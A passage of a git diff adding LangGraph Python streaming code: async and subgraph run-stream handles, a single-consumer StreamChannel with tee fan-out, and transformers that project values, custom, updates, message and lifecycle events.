+                event = convert_to_protocol_event(part)
+                self._observe_event(event)
+                await self._mux.apush(event)
+                return True
+            except StopAsyncIteration:
+                self._exhausted = True
+                await self._mux.aclose()
+                return False
+            except Exception as e:
+                self._exhausted = True
+                await self._mux.afail(e)
+                return False
+        finally:
+            async with self._pump_cond:
+                self._pumping = False
+                self._pump_cond.notify_all()
+
+    async def abort(self) -> None:
+        """Stop the run early.
+
+        Marks the stream exhausted and wakes any pump-waiters. Cancels an
+        in-flight pull if one is running, then closes the underlying graph
+        iterator, so running nodes and nested subgraphs are cancelled
+        whether or not a pump is mid-pull. Closes the mux; any `apush`
+        blocked on backpressure wakes and returns without appending.
+        Idempotent.
+        """
+        async with self._pump_cond:
+            if self._exhausted:
+                return
+            self._exhausted = True
+            self._aborting = True
+            graph_aiter = self._graph_aiter
+            self._graph_aiter = None
+            anext_task = self._anext_task
+            self._pump_cond.notify_all()
+        # If a pump is mid-pull, cancel it so the cancellation propagates
+        # into running nodes and nested subgraphs. Once it settles the
+        # generator is no longer running, so the `aclose()` below is a safe
+        # final cleanup (and handles the no-in-flight-pull case directly).
+        if anext_task is not None and not anext_task.done():
+            anext_task.cancel()
+            try:
+                await anext_task
+            except (asyncio.CancelledError, Exception):
+                pass
+        if (
+            graph_aiter is not None
+            and (aclose := getattr(graph_aiter, "aclose", None)) is not None
+        ):
+            try:
+                await aclose()
+            except Exception:
+                pass
+        try:
+            await self._mux.aclose()
+        except Exception:
+            pass
+
+    async def __aenter__(self) -> AsyncGraphRunStream:
+        return self
+
+    async def __aexit__(
+        self,
+        exc_type: type[BaseException] | None,
+        exc: BaseException | None,
+        tb: TracebackType | None,
+    ) -> None:
+        await self.abort()
+
+    async def output(self) -> dict[str, Any] | None:
+        """Drive the run to completion and return the final state.
+
+        Methods (not properties) on the async lane so `run.output`
+        without `await` raises at type-check time instead of silently
+        yielding a coroutine object.
+
+        Example:
+            ```python
+            output = await run.output()
+            ```
+
+        Raises:
+            BaseException: If the run ended with an error.
+        """
+        await _adrive_until_done(self._apump_next)
+        if (err := self._mux._events._error) is not None:
+            raise err
+        return self._latest
+
+    async def interrupted(self) -> bool:
+        """Drive the run to completion and return whether it was
+        interrupted.
+
+        Raises:
+            BaseException: If the run ended with an error.
+        """
+        await _adrive_until_done(self._apump_next)
+        if (err := self._mux._events._error) is not None:
+            raise err
+        return self._interrupted
+
+    async def interrupts(self) -> list[Any]:
+        """Drive the run to completion and return interrupt payloads.
+
+        Raises:
+            BaseException: If the run ended with an error.
+        """
+        await _adrive_until_done(self._apump_next)
+        if (err := self._mux._events._error) is not None:
+            raise err
+        return self._interrupts
+
+    def __aiter__(self) -> AsyncIterator[ProtocolEvent]:
+        """Subscribe to the main event log and iterate protocol events."""
+        return self._mux._events.__aiter__()
+
+
+class _SubgraphRunStreamMixin:
+    """Subgraph metadata + parent-pump delegation shared by both lanes.
+
+    Inherits from `GraphRunStream` (or `AsyncGraphRunStream`) with
+    `graph_iter=None` + `wire_pump=False` — the mini-mux is driven
+    by the parent's pump (inherited via `StreamMux._make_child`), and
+    the handle never pulls upstream itself. Pump-driving methods
+    delegate to the parent pump so `handle.output` and friends drive
+    the root run.
+
+    Subclasses set the parent pump function captured at construction
+    (`_parent_pump_fn` / `_parent_apump_fn`) and override
+    `_pump_next` / `_apump_next` to delegate to it.
+
+    Status is updated in place by `SubgraphTransformer`. Iterate
+    `run.subgraphs` to receive handles as subgraphs spawn, then
+    drill into projections inside the loop body **before** the next
+    pump cycle — same lazy-subscribe constraint as root projections.
+    """
+
+    path: tuple[str, ...]
+    graph_name: str | None
+    trigger_call_id: str | None
+    status: SubgraphStatus
+    error: str | None
+    _seen_terminal: bool
+
+
+class SubgraphRunStream(GraphRunStream, _SubgraphRunStreamMixin):
+    """Sync handle for a discovered subgraph (extends `GraphRunStream`)."""
+
+    def __init__(
+        self,
+        mux: StreamMux,
+        *,
+        path: tuple[str, ...],
+        graph_name: str | None = None,
+        trigger_call_id: str | None = None,
+    ) -> None:
+        # Capture the parent-inherited pump before super().__init__
+        # touches anything; we delegate to it from `_pump_next`.
+        self._parent_pump_fn: Callable[[], bool] | None = mux._pump_fn
+        super().__init__(
+            graph_iter=None,
+            mux=mux,
+            wire_pump=False,
+        )
+        self.path = path
+        self.graph_name = graph_name
+        self.trigger_call_id = trigger_call_id
+        self.status = "started"
+        self.error = None
+        self._seen_terminal = False
+
+    def _pump_next(self) -> bool:
+        """Delegate to the parent's pump.
+
+        Cursors on this handle's projections call here when their
+        buffers empty. Driving the parent fans events into our
+        mini-mux, transparently advancing the whole run.
+        """
+        if (
+            self._exhausted
+            or self._seen_terminal
+            or self._mux._events._closed
+            or self._parent_pump_fn is None
+        ):
+            return False
+        return self._parent_pump_fn()
+
+
+class AsyncSubgraphRunStream(AsyncGraphRunStream, _SubgraphRunStreamMixin):
+    """Async handle for a discovered subgraph (extends `AsyncGraphRunStream`)."""
+
+    def __init__(
+        self,
+        mux: StreamMux,
+        *,
+        path: tuple[str, ...],
+        graph_name: str | None = None,
+        trigger_call_id: str | None = None,
+    ) -> None:
+        self._parent_apump_fn: Callable[[], Awaitable[bool]] | None = mux._apump_fn
+        super().__init__(
+            graph_aiter=None,
+            mux=mux,
+            wire_pump=False,
+        )
+        self.path = path
+        self.graph_name = graph_name
+        self.trigger_call_id = trigger_call_id
+        self.status = "started"
+        self.error = None
+        self._seen_terminal = False
+
+    async def _apump_next(self) -> bool:
+        """Delegate to the parent's async pump."""
+        if (
+            self._exhausted
+            or self._seen_terminal
+            or self._mux._events._closed
+            or self._parent_apump_fn is None
+        ):
+            return False
+        return await self._parent_apump_fn()
diff --git a/libs/langgraph/langgraph/stream/stream_channel.py b/libs/langgraph/langgraph/stream/stream_channel.py
new file mode 100644
index 0000000..9af48ee
--- /dev/null
+++ b/libs/langgraph/langgraph/stream/stream_channel.py
@@ -0,0 +1,341 @@
+from __future__ import annotations
+
+import asyncio
+from collections import deque
+from collections.abc import AsyncIterator, Awaitable, Callable, Iterator
+from typing import TYPE_CHECKING, Generic, TypeVar
+
+if TYPE_CHECKING:
+    from langgraph.stream._mux import StreamMux
+
+T = TypeVar("T")
+
+
+class StreamChannel(Generic[T]):
+    """Single-consumer drainable queue for streaming events, with optional
+    protocol auto-forwarding.
+
+    When constructed with a `name`, the StreamMux auto-wires every
+    `push()` to also inject a `ProtocolEvent` into the main event stream
+    using the channel's name as the method. When constructed without a
+    name, the channel is local-only — items are only visible to
+    in-process consumers that iterate the channel directly.
+
+    Items are popped off the front as the consumer advances — there is
+    no retention beyond what's currently queued. A channel accepts
+    exactly one subscriber; a second `__iter__` / `__aiter__` call
+    raises. Use `tee(n)` / `atee(n)` for fan-out.
+
+    Starts unbound — neither `__iter__` nor `__aiter__` is available
+    until the StreamMux calls `_bind(is_async)`. After binding, only
+    the matching iteration protocol works; the other raises `TypeError`.
+
+    Pump wiring (set by the run stream, not by `_bind`):
+        - `_request_more`: sync pump callable, returns True if a new
+          event was produced.
+        - `_arequest_more`: async pump coroutine factory, same contract.
+
+    Memory is bounded by caller pace: both sync and async use caller-
+    driven pumps, so each cursor advance produces at most one event.
+
+    Lazy-subscribe: `push` appends to the local buffer only when a
+    subscriber has registered. Auto-forward via `_wire_fn` always fires
+    regardless of subscription state.
+
+    Lifecycle (`close` / `fail`) is managed by the mux — transformers
+    don't need to close their channels manually.
+    """
+
+    def __init__(self, name: str | None = None, *, maxlen: int | None = None) -> None:
+        """Initialize the channel.
+
+        Args:
+            name: Optional protocol channel name. When set, the
+                StreamMux wires every `push()` to also inject a
+                `ProtocolEvent` into the main event stream. Surfaced
+                on the wire as `custom:` for user-defined
+                transformers, or as `` for channels owned by a
+                native transformer (`_native = True`). When `None`,
+                the channel is local-only.
+            maxlen: Accepted for forward compatibility; currently
+                unused. The caller-driven pump bounds memory naturally
+                for single-consumer use.
+
+        Raises:
+            ValueError: If `maxlen` is not a positive integer or `None`.
+        """
+        if maxlen is not None and maxlen <= 0:
+            raise ValueError("StreamChannel maxlen must be a positive int or None")
+        self.name = name
+        self._items: deque[tuple[int, T]] = deque()
+        self._maxlen: int | None = maxlen
+        self._closed = False
+        self._error: BaseException | None = None
+
+        self._is_async: bool | None = None
+
+        self._subscribed = False
+
+        self._request_more: Callable[[], bool] | None = None
+        self._arequest_more: Callable[[], Awaitable[bool]] | None = None
+
+        self._wire_fn: Callable[[T], None] | None = None
+        self._mux: StreamMux | None = None
+
+    # ------------------------------------------------------------------
+    # Binding
+    # ------------------------------------------------------------------
+
+    def _bind_mux(self, mux: StreamMux) -> None:
+        self._mux = mux
+
+    def _bind(self, *, is_async: bool) -> None:
+        """Bind this channel to sync or async mode.
+
+        Called by the StreamMux after transformer registration. Must be
+        called exactly once before any iteration.
+
+        Args:
+            is_async: True to enable async iteration, False for sync.
+
+        Raises:
+            RuntimeError: If the channel has already been bound.
+        """
+        if self._is_async is not None:
+            raise RuntimeError("StreamChannel is already bound")
+        self._is_async = is_async
+
+    # ------------------------------------------------------------------
+    # Mux wiring (not called by transformers directly)
+    # ------------------------------------------------------------------
+
+    def _wire(self, fn: Callable[[T], None]) -> None:
+        """Install the auto-forward callback (called by StreamMux)."""
+        self._wire_fn = fn
+
+    # ------------------------------------------------------------------
+    # Producer API
+    # ------------------------------------------------------------------
+
+    def push(self, item: T) -> None:
+        """Append an item. Auto-forwards if wired.
+
+        The local buffer append is a no-op when no subscriber is
+        registered, but auto-forwarding always fires so wired events
+        reach the main event log regardless of subscription state.
+
+        Items are stored as `(stamp, item)` tuples where stamp is a
+        monotonic counter from the owning mux. Stamps are stripped by
+        the default cursors; raw stamped tuples are visible on `_items`.
+
+        Raises:
+            RuntimeError: If the channel is closed (and subscribed).
+        """
+        if self._subscribed:
+            if self._closed:
+                raise RuntimeError("Cannot push to a closed StreamChannel")
+            stamp = self._mux._next_push_seq() if self._mux is not None else 0
+            self._items.append((stamp, item))
+        if self._wire_fn is not None:
+            self._wire_fn(item)
+
+    def close(self) -> None:
+        """Mark the channel as complete."""
+        self._closed = True
+
+    def fail(self, err: BaseException) -> None:
+        """Mark the channel as errored.
+
+        Args:
+            err: The exception to surface to the subscriber.
+        """
+        self._error = err
+        self._closed = True
+
+    # ------------------------------------------------------------------
+    # Sync iteration (caller-driven pump)
+    # ------------------------------------------------------------------
+
+    def __iter__(self) -> Iterator[T]:
+        """Subscribe and return a sync cursor. Can be called only once.
+
+        Raises:
+            TypeError: If the channel is unbound or bound to async mode.
+            RuntimeError: If the channel already has a subscriber.
+        """
+        if self._is_async is None:
+            raise TypeError(
+                "StreamChannel has not been bound yet. "
+                "Register the transformer with a StreamMux first."
+            )
+        if self._is_async:
+            raise TypeError(
+                "This StreamChannel is bound to async mode — use 'async for' instead."
+            )
+        if self._subscribed:
+            raise RuntimeError(
+                "StreamChannel already has a subscriber; use .tee(n) for fan-out."
+            )
+        self._subscribed = True
+        return self._sync_cursor()
+
+    def _sync_cursor(self) -> Iterator[T]:
+        while True:
+            if self._items:
+                _stamp, item = self._items.popleft()
+                yield item
+            elif self._closed:
+                if self._error is not None:
+                    raise self._error
+                return
+            elif self._request_more is not None:
+                if not self._request_more():
+                    if not self._items and not self._closed:
+                        return
+            else:
+                return
+
+    # ------------------------------------------------------------------
+    # Async iteration (caller-driven pump)
+    # ------------------------------------------------------------------
+
+    def __aiter__(self) -> AsyncIterator[T]:
+        """Subscribe and return an async cursor. Can be called only once.
+
+        Raises:
+            TypeError: If the channel is unbound or bound to sync mode.
+            RuntimeError: If the channel already has a subscriber.
+        """
+        if self._is_async is None:
+            raise TypeError(
+                "StreamChannel has not been bound yet. "
+                "Register the transformer with a StreamMux first."
+            )
+        if not self._is_async:
+            raise TypeError(
+                "This StreamChannel is bound to sync mode — use 'for' instead."
+            )
+        if self._subscribed:
+            raise RuntimeError(
+                "StreamChannel already has a subscriber; use .atee(n) for fan-out."
+            )
+        self._subscribed = True
+        return self._async_cursor()
+
+    async def _async_cursor(self) -> AsyncIterator[T]:
+        while True:
+            if self._items:
+                _stamp, item = self._items.popleft()
+                yield item
+            elif self._closed:
+                if self._error is not None:
+                    raise self._error
+                return
+            elif self._arequest_more is not None:
+                if not await self._arequest_more():
+                    if not self._items and not self._closed:
+                        return
+            else:
+                return
+
+    # ------------------------------------------------------------------
+    # Fan-out via tee
+    # ------------------------------------------------------------------
+
+    def tee(self, n: int = 2) -> tuple[Iterator[T], ...]:
+        """Subscribe and return `n` independent sync iterators.
+
+        Each branch has its own buffer; items pulled from the
+        underlying cursor are copied into every branch. Branches are
+        naturally bounded by caller pace since the sync pump is
+        caller-driven.
+
+        Args:
+            n: Number of branches to create. Must be >= 1.
+
+        Returns:
+            A tuple of `n` iterators over the same underlying stream.
+
+        Raises:
+            TypeError: If the channel is unbound or bound to async mode.
+            RuntimeError: If the channel already has a subscriber.
+            ValueError: If `n` < 1.
+        """
+        if n < 1:
+            raise ValueError("tee() requires n >= 1")
+        source = self.__iter__()
+        buffers: list[deque[T]] = [deque() for _ in range(n)]
+        exhausted = [False]
+
+        def branch(i: int) -> Iterator[T]:
+            buf = buffers[i]
+            while True:
+                if buf:
+                    yield buf.popleft()
+                elif exhausted[0]:
+                    return
+                else:
+                    try:
+                        item = next(source)
+                    except StopIteration:
+                        exhausted[0] = True
+                        return
+                    for b in buffers:
+                        b.append(item)
+
+        return tuple(branch(i) for i in range(n))
+
+    def atee(self, n: int = 2) -> tuple[AsyncIterator[T], ...]:
+        """Subscribe and return `n` independent async iterators.
+
+        Caller-driven fan-out: each branch's `__anext__` either pops
+        from its own buffer or, under a shared `asyncio.Lock`, pulls
+        one item from the underlying cursor and distributes it to
+        every branch's buffer.
+
+        Args:
+            n: Number of branches to create. Must be >= 1.
+
+        Returns:
+            A tuple of `n` async iterators over the same underlying
+            stream.
+
+        Raises:
+            TypeError: If the channel is unbound or bound to sync mode.
+            RuntimeError: If the channel already has a subscriber.
+            ValueError: If `n` < 1.
+        """
+        if n < 1:
+            raise ValueError("atee() requires n >= 1")
+        source = self.__aiter__()
+        buffers: list[deque[T]] = [deque() for _ in range(n)]
+        exhausted = [False]
+        error: list[BaseException | None] = [None]
+        lock = asyncio.Lock()
+
+        async def branch(i: int) -> AsyncIterator[T]:
+            buf = buffers[i]
+            while True:
+                if buf:
+                    yield buf.popleft()
+                    continue
+                if exhausted[0]:
+                    if error[0] is not None:
+                        raise error[0]
+                    return
+                async with lock:
+                    if buf or exhausted[0]:
+                        continue
+                    try:
+                        item = await source.__anext__()
+                    except StopAsyncIteration:
+                        exhausted[0] = True
+                        continue
+                    except Exception as e:
+                        error[0] = e
+                        exhausted[0] = True
+                        continue
+                    for b in buffers:
+                        b.append(item)
+
+        return tuple(branch(i) for i in range(n))
diff --git a/libs/langgraph/langgraph/stream/transformers.py b/libs/langgraph/langgraph/stream/transformers.py
new file mode 100644
index 0000000..29e247b
--- /dev/null
+++ b/libs/langgraph/langgraph/stream/transformers.py
@@ -0,0 +1,1039 @@
+from __future__ import annotations
+
+import logging
+from typing import TYPE_CHECKING, Any, Literal, cast
+
+from langchain_core.language_models._compat_bridge import message_to_events
+from langchain_core.language_models.chat_model_stream import (
+    AsyncChatModelStream,
+    ChatModelStream,
+)
+from langchain_core.messages import AIMessageChunk, BaseMessage, ToolMessage
+from langchain_protocol.protocol import LifecycleCause, MessagesData
+from typing_extensions import NotRequired, TypedDict
+
+from langgraph.errors import GraphDrained, GraphInterrupt
+from langgraph.stream._types import ProtocolEvent, StreamTransformer
+from langgraph.stream.run_stream import AsyncSubgraphRunStream, SubgraphRunStream
+from langgraph.stream.stream_channel import StreamChannel
+
+if TYPE_CHECKING:
+    from collections.abc import Awaitable, Callable
+
+    from langgraph.stream._mux import StreamMux
+
+_logger = logging.getLogger(__name__)
+
+
+class ValuesTransformer(StreamTransformer):
+    """Capture values events as a drainable stream of state snapshots.
+
+    Provides the `run.values` projection. `run.output`,
+    `run.interrupted` and `run.interrupts` are tracked directly
+    by the run stream and do not depend on this transformer.
+
+    Native transformer — projection keys are exposed as direct
+    attributes on the run stream (e.g. `run.values`).
+
+    Only values events at the run's own level are captured; snapshots
+    from deeper subgraphs are left in the main event log but excluded
+    from the projection. "Own level" is defined by `scope`, which
+    `stream_events(version="v3")` / `astream_events(version="v3")` populate from the caller's
+    checkpoint namespace so that a nested `stream_events(version="v3")` call still
+    sees its own root snapshots.
+    """
+
+    _native = True
+    required_stream_modes = ("values",)
+
+    def __init__(self, scope: tuple[str, ...] = ()) -> None:
+        super().__init__(scope)
+        self._log: StreamChannel[dict[str, Any]] = StreamChannel()
+        self._latest: dict[str, Any] | None = None
+        self._interrupted = False
+        self._interrupts: list[Any] = []
+        # Cached as a list once for cheap equality with the protocol
+        # event's `namespace` field, which is `list[str]`.
+        self._scope_list: list[str] = list(scope)
+
+    def init(self) -> dict[str, Any]:
+        return {"values": self._log}
+
+    @property
+    def error(self) -> BaseException | None:
+        """The error that ended the run, or `None` if it succeeded.
+
+        Set by the mux when it auto-fails the projection log.
+        """
+        return self._log._error
+
+    def process(self, event: ProtocolEvent) -> bool:
+        if event["method"] != "values":
+            return True
+        params = event["params"]
+        if params["namespace"] != self._scope_list:
+            return True
+        self._latest = params["data"]
+        interrupts = params.get("interrupts", ())
+        if interrupts:
+            self._interrupted = True
+            self._interrupts.extend(interrupts)
+        self._log.push(params["data"])
+        return True
+
+
+class CustomTransformer(StreamTransformer):
+    """Capture custom events as a drainable stream of arbitrary payloads.
+
+    Nodes emit custom data via `get_stream_writer()`. This transformer
+    surfaces those events on `run.custom` as a `StreamChannel[Any]`,
+    preserving payloads in arrival order.
+
+    Only events at the run's own scope are captured; custom data from
+    deeper subgraphs is available on the respective subgraph handle's
+    `.custom` projection.
+
+    Native transformer — `run.custom` is a direct attribute.
+    """
+
+    _native = True
+    required_stream_modes = ("custom",)
+
+    def __init__(self, scope: tuple[str, ...] = ()) -> None:
+        super().__init__(scope)
+        self._log: StreamChannel[Any] = StreamChannel()
+        self._scope_list: list[str] = list(scope)
+
+    def init(self) -> dict[str, Any]:
+        return {"custom": self._log}
+
+    def process(self, event: ProtocolEvent) -> bool:
+        if event["method"] != "custom":
+            return True
+        params = event["params"]
+        if params["namespace"] != self._scope_list:
+            return True
+        self._log.push(params["data"])
+        return True
+
+
+class UpdatesTransformer(StreamTransformer):
+    """Capture updates events as a drainable stream of node outputs.
+
+    Surfaces `stream_mode="updates"` data on `run.updates` as a
+    `StreamChannel[dict[str, Any]]`. Each item is a dict mapping a node
+    (or task) name to the update it returned after a step.
+
+    Only events at the run's own scope are captured; updates from deeper
+    subgraphs are available on the respective subgraph handle's
+    `.updates` projection.
+
+    Native transformer — `run.updates` is a direct attribute.
+    """
+
+    _native = True
+    required_stream_modes = ("updates",)
+
+    def __init__(self, scope: tuple[str, ...] = ()) -> None:
+        super().__init__(scope)
+        self._log: StreamChannel[dict[str, Any]] = StreamChannel()
+        self._scope_list: list[str] = list(scope)
+
+    def init(self) -> dict[str, Any]:
+        return {"updates": self._log}
+
+    def process(self, event: ProtocolEvent) -> bool:
+        if event["method"] != "updates":
+            return True
+        params = event["params"]
+        if params["namespace"] != self._scope_list:
+            return True
+        self._log.push(params["data"])
+        return True
+
+
+class MessagesTransformer(StreamTransformer):
+    """Capture messages events as ChatModelStream objects.
+
+    The messages projection yields one `ChatModelStream` (or
+    `AsyncChatModelStream`) per LLM call. Consumers iterate
+    `run.messages` to get stream handles, then use each handle's typed
+    projections (`.text`, `.reasoning`, `.tool_calls`, `.usage`,
+    `.output`) for per-message content.
+
+    Two input shapes are handled (via `params["data"] = (payload,
+    metadata)` from `StreamMessagesHandler`):
+
+    1. Protocol event (dict with `"event"` key) — emitted by
+       `stream_events(version="v3")` / `astream_events(version="v3")` via the `on_stream_event`
+       callback. Routed to an existing `ChatModelStream` by
+       `metadata["run_id"]`. A `message-start` event creates a new
+       stream; `message-finish` closes it.
+    2. Whole `AIMessage` — emitted from `on_chain_end` when a node
+       returns a finalized message. Replayed as a synthetic protocol
+       event lifecycle via `message_to_events`, then the
+       already-complete stream is pushed to the log.
+
+    V1 `AIMessageChunk` tuples (from `on_llm_new_token`) are not
+    streamed into this projection: chat models that want to populate
+    `run.messages` with content-block streaming must use
+    `stream_events(version="v3")` / `astream_events(version="v3")`. Models called via the legacy
+    `stream()` method still surface their final `AIMessage` via
+    `on_chain_end` when a node returns it as state.
+
+    Only events at the run's own level are projected; tokens from
+    deeper subgraphs are left in the main event log but excluded from
+    `.messages`. "Own level" is defined by `scope`, which
+    `stream_events(version="v3")` / `astream_events(version="v3")` populate from the caller's checkpoint
+    namespace so that a `stream_events(version="v3")` call inside a node still sees its
+    own root chat model streams on `.messages`. Consumers that need
+    subgraph tokens should iterate the raw event stream or register a
+    custom transformer.
+
+    Native transformer — the `messages` projection is exposed as a
+    direct attribute on the run stream.
+    """
+
+    _native = True
+    required_stream_modes = ("messages",)
+
+    def __init__(self, scope: tuple[str, ...] = ()) -> None:
+        super().__init__(scope)
+        self._log: StreamChannel[ChatModelStream] = StreamChannel()
+        # Correlate protocol events back to a ChatModelStream by run_id
+        # (attached to the event's metadata by StreamMessagesHandler).
+        self._by_run: dict[str, ChatModelStream] = {}
+        self._ignored_runs: set[str] = set()
+        self._pump_fn: Callable[[], bool] | None = None
+        self._apump_fn: Callable[[], Awaitable[bool]] | None = None
+        # Cached as a list once for cheap equality with the protocol
+        # event's `namespace` field, which is `list[str]`.
+        self._scope_list: list[str] = list(scope)
+
+    def init(self) -> dict[str, Any]:
+        return {"messages": self._log}
+
+    def _bind_pump(self, fn: Callable[[], bool]) -> None:
+        """Wire the sync pull callback. Called by GraphRunStream._wire_request_more."""
+        self._pump_fn = fn
+
+    def _bind_apump(self, fn: Callable[[], Awaitable[bool]]) -> None:
+        """Wire the async pull callback.
+
+        Called by `AsyncGraphRunStream._wire_arequest_more` so each
+        `AsyncChatModelStream` this transformer creates can drive the
+        shared graph pump from its projection cursors.
+        """
+        self._apump_fn = fn
+
+    def _make_stream(
+        self,
+        *,
+        namespace: list[str],
+        node: str | None,
+        message_id: str | None,
+    ) -> ChatModelStream:
+        """Create a ChatModelStream (sync) or AsyncChatModelStream (async).
+
+        Wires whichever pump is bound. Prefers the async pump so nested
+        iteration under `AsyncGraphRunStream` drives the graph forward
+        without a background task. The unwired fallback (no pump bound)
+        is used by unit tests that dispatch events manually.
+        """
+        if self._apump_fn is not None:
+            astream = AsyncChatModelStream(
+                namespace=namespace,
+                node=node,
+                message_id=message_id,
+            )
+            astream.set_arequest_more(self._apump_fn)
+            return astream
+        if self._pump_fn is not None:
+            stream: ChatModelStream = ChatModelStream(
+                namespace=namespace,
+                node=node,
+                message_id=message_id,
+            )
+            stream.set_request_more(self._pump_fn)
+            return stream
+        return AsyncChatModelStream(
+            namespace=namespace,
+            node=node,
+            message_id=message_id,
+        )
+
+    def process(self, event: ProtocolEvent) -> bool:
+        if event["method"] != "messages":
+            return True
+        params = event["params"]
+        if params["namespace"] != self._scope_list:
+            return True
+
+        payload, metadata = params["data"]
+        node: str | None = metadata.get("langgraph_node")
+        run_id = str(metadata.get("run_id", "")) if metadata else ""
+
+        if isinstance(payload, dict) and "event" in payload:
+            self._route_protocol_event(
+                cast("MessagesData", payload), run_id=run_id, node=node
+            )
+        elif (
+            isinstance(payload, BaseMessage)
+            and not isinstance(payload, AIMessageChunk)
+            and not isinstance(payload, ToolMessage)
+        ):
+            self._route_whole_message(payload, node=node)
+        # Legacy AIMessageChunk tuples (from on_llm_new_token) are ignored;
+        # v1 streaming callers must switch to stream_events(version="v3") to populate this
+        # projection.
+
+        return True
+
+    def _route_protocol_event(
+        self,
+        event: MessagesData,
+        *,
+        run_id: str,
+        node: str | None,
+    ) -> None:
+        event_type = event.get("event")
+        if event_type == "message-start":
+            # Tool results are exposed on the tools projection and state
+            # snapshots; run.messages is the chat-token projection.
+            if event.get("role") == "tool":
+                self._ignored_runs.add(run_id)
+                return
+            message_id = event.get("message_id")
+            stream = self._make_stream(
+                namespace=[],
+                node=node,
+                message_id=str(message_id) if message_id is not None else None,
+            )
+            self._by_run[run_id] = stream
+            self._log.push(stream)
+            stream.dispatch(event)
+        elif run_id in self._ignored_runs:
+            if event_type == "message-finish":
+                self._ignored_runs.discard(run_id)
+        elif run_id in self._by_run:
+            stream = self._by_run[run_id]
+            stream.dispatch(event)
+            if event_type == "message-finish":
+                del self._by_run[run_id]
+
+    def _route_whole_message(self, message: BaseMessage, *, node: str | None) -> None:
+        stream = self._make_stream(namespace=[], node=node, message_id=message.id)
+        for evt in message_to_events(message, message_id=message.id):
+            stream.dispatch(evt)
+        self._log.push(stream)
+
+    def finalize(self) -> None:
+        """Clear any routing state — streams close themselves via `message-finish`."""
+        self._by_run.clear()
+        self._ignored_runs.clear()
+
+    def fail(self, err: BaseException) -> None:
+        """Propagate run error to any streams still open when the graph fails."""
+        for stream in list(self._by_run.values()):
+            stream.fail(err)
+        self._by_run.clear()
+        self._ignored_runs.clear()
+
+
+SubgraphStatus = Literal["started", "completed", "failed", "interrupted", "drained"]
+
+
+def _parse_ns_segment(segment: str) -> tuple[str, str | None]:
+    """Split a namespace segment into `(graph_name, trigger_call_id)`.
+
+    Segments are formatted `node_name:task_id` by `prepare_next_tasks`.
+    Returns `(segment, None)` if no `:` is present.
+    """
+    name, sep, task_id = segment.partition(":")
+    return name, task_id if sep else None
+
+
+class LifecyclePayload(TypedDict, total=False):
+    """Payload of a lifecycle event surfaced on the `lifecycle` channel.
+
+    Auto-forwarded as `lifecycle` protocol events (no `custom:` prefix
+    because `LifecycleTransformer` is a native transformer) so remote
+    SDK clients receive the same data in-process consumers see via
+    `run.lifecycle`.
+    """
+
+    event: SubgraphStatus
+    namespace: list[str]
+    graph_name: NotRequired[str]
+    trigger_call_id: NotRequired[str]
+    cause: NotRequired[LifecycleCause]
+    error: NotRequired[str]
+
+
+class _TasksLifecycleBase(StreamTransformer):
+    """Shared bookkeeping for `tasks`-event-driven lifecycle inference.
+
+    Both `LifecycleTransformer` (wire-serializable channel) and
+    `SubgraphTransformer` (in-process navigation handles) discover
+    subgraphs by watching the same `tasks` stream — `started` on the
+    first event at a tracked namespace, terminal status when the
+    parent's `TaskResultPayload` arrives. Centralizing the dispatch
+    + open-set bookkeeping here keeps the inference rules from
+    drifting between the two surfaces.
+
+    Subclasses provide three template-method hooks:
+
+    - `_should_track(ns)` — scope filter (e.g. multi-depth vs
+      direct-children-only).
+    - `_on_started(ns, graph_name, trigger_call_id)` — first sighting
+      action (push payload / build handle / etc.). Called once per
+      discovered namespace.
+    - `_on_terminal(ns, status, error)` — terminal action (push
+      terminal payload / mark handle status). Called once per
+      tracked namespace at result time, or via `finalize` / `fail`
+      sweeps if no parent result arrived.
+
+    Tasks events are suppressed from the main event log (`process`
+    returns False) — they're folded into whichever projection the
+    subclass populates; consumers iterating the raw protocol stream
+    see the higher-level view.
+    """
+
+    required_stream_modes = ("tasks",)
+
+    def __init__(self, scope: tuple[str, ...] = ()) -> None:
+        super().__init__(scope)
+        self._seen: set[tuple[str, ...]] = set()
+        # Maps tracked namespace -> task_id of the parent task whose
+        # `TaskResultPayload` will close it.
+        self._open: dict[tuple[str, ...], str] = {}
+        # lc_agent_name observed at each namespace (first task event wins).
+        # Not read by the base discriminator (which only checks whether the
+        # current task carries an lc_agent_name); maintained as extension state
+        # for subclasses that project named subagents — e.g. a `run.subagents`
+        # transformer reads this to filter to nested runs that have a name.
+        self._lc_by_ns: dict[tuple[str, ...], str | None] = {}
+        # Pregel task_id -> triggering LLM tool_call_id, harvested from a task
+        # whose `input` is a `tool_call_with_context` dict (current shape) or a
+        # list of tool-call dicts (legacy shape). The child subgraph's segment
+        # `node:` shares this task_id, so a subagent recovers the tool
+        # call that spawned it (cross-payload).
+        self._pending_tool_calls: dict[str, str] = {}
+        # `cause` for the current `_on_started` dispatch, set immediately before
+        # the call and read by overrides that surface it. Keeping `cause` off the
+        # `_on_started` signature means overrides predating it (e.g. deepagents'
+        # `SubagentTransformer`) don't break.
+        self._pending_cause: LifecycleCause | None = None
+
+    # --- Template-method hooks (subclass overrides) ---
+
+    def _should_track(self, ns: tuple[str, ...]) -> bool:
+        """Scope filter — return True iff `ns` is in this transformer's region."""
+        raise NotImplementedError
+
+    def _on_started(
+        self,
+        ns: tuple[str, ...],
+        graph_name: str | None,
+        trigger_call_id: str | None,
+    ) -> None:
+        """Fired once per discovered namespace (first observed task event).
+
+        The triggering `cause` (if any) is available as `self._pending_cause`.
+        """
+        raise NotImplementedError
+
+    def _on_terminal(
+        self,
+        ns: tuple[str, ...],
+        status: SubgraphStatus,
+        error: str | None,
+    ) -> None:
+        """Fired once per tracked namespace when its parent's result arrives,
+        or via finalize/fail safety-net sweeps.
+        """
+        raise NotImplementedError
+
+    # --- Dispatch + bookkeeping (shared) ---
+
+    def process(self, event: ProtocolEvent) -> bool:
+        if event["method"] != "tasks":
+            return True
+        ns = tuple(event["params"]["namespace"])
+        data = event["params"]["data"]
+        if "result" in data:
+            self._handle_task_result(ns, data)
+        else:
+            self._record_identity(ns, data)
+            self._record_pending_tool_calls(data)
+            self._handle_task_start(ns, data)
+        # Tasks events are folded into the synthesized projections;
+        # suppress from the main event log so iterators don't double-see
+        # the same information in two shapes.
+        return False
+
+    def _record_identity(self, ns: tuple[str, ...], data: dict[str, Any]) -> None:
+        """Record this namespace's `lc_agent_name` (first task event wins).
+
+        Runs for every task-start event, including `ns == self.scope` and
+        tracked children. Pregel emits parent-namespace tasks before
+        child-namespace tasks, so under that ordering the parent's identity is
+        recorded by the time a child event is evaluated in `_handle_task_start`.
+        """
+        if ns in self._lc_by_ns:
+            return
+        metadata = data.get("metadata") or {}
